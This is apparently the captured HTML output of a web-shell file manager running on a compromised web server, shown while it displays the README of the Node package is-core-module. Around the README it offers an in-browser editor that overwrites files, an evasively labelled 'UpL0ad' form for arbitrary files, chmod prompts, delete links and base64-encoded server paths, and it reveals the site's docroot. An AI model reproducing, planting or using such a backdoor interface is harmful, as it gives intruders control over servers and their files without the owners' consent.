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<hr>README.md<form method=post action="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ%3D%3D&f=UkVBRE1FLm1k"><input name="f" value="README.md"><textarea name="t"># is-core-module &lt;sup&gt;[![Version Badge][2]][1]&lt;/sup&gt;

[![github actions][actions-image]][actions-url]
[![coverage][codecov-image]][codecov-url]
[![dependency status][5]][6]
[![dev dependency status][7]][8]
[![License][license-image]][license-url]
[![Downloads][downloads-image]][downloads-url]

[![npm badge][11]][1]

Is this specifier a node.js core module? Optionally provide a node version to check; defaults to the current node version.

## Example

```js
var isCore = require('is-core-module');
var assert = require('assert');
assert(isCore('fs'));
assert(!isCore('butts'));
```

## Tests
Clone the repo, `npm install`, and run `npm test`

[1]: https://npmjs.org/package/is-core-module
[2]: https://versionbadg.es/inspect-js/is-core-module.svg
[5]: https://david-dm.org/inspect-js/is-core-module.svg
[6]: https://david-dm.org/inspect-js/is-core-module
[7]: https://david-dm.org/inspect-js/is-core-module/dev-status.svg
[8]: https://david-dm.org/inspect-js/is-core-module#info=devDependencies
[11]: https://nodei.co/npm/is-core-module.png?downloads=true&amp;stars=true
[license-image]: https://img.shields.io/npm/l/is-core-module.svg
[license-url]: LICENSE
[downloads-image]: https://img.shields.io/npm/dm/is-core-module.svg
[downloads-url]: https://npm-stat.com/charts.html?package=is-core-module
[codecov-image]: https://codecov.io/gh/inspect-js/is-core-module/branch/main/graphs/badge.svg
[codecov-url]: https://app.codecov.io/gh/inspect-js/is-core-module/
[actions-image]: https://img.shields.io/endpoint?url=https://github-actions-badge-u3jn4tfpocch.runkit.sh/inspect-js/is-core-module
[actions-url]: https://github.com/inspect-js/is-core-module/actions
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/doc/node-is-core-module<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>77824</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&x=UkVBRE1FLm1k">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=UkVBRE1FLm1k"/>README.md</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=UkVBRE1FLm1k&c=`+btoa(c):0" value="0644"></td><td>1659</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&x=Y2hhbmdlbG9nLkRlYmlhbi5neg==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Y2hhbmdlbG9nLkRlYmlhbi5neg=="/>changelog.Debian.gz</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Y2hhbmdlbG9nLkRlYmlhbi5neg==&c=`+btoa(c):0" value="0644"></td><td>1451</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&x=Y29weXJpZ2h0">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Y29weXJpZ2h0"/>copyright</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=Y29weXJpZ2h0&c=`+btoa(c):0" value="0644"></td><td>2161</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1yZXNvbHZl"/>node-resolve</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9kb2Mvbm9kZS1pcy1jb3JlLW1vZHVsZQ==&f=bm9kZS1yZXNvbHZl&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr></table>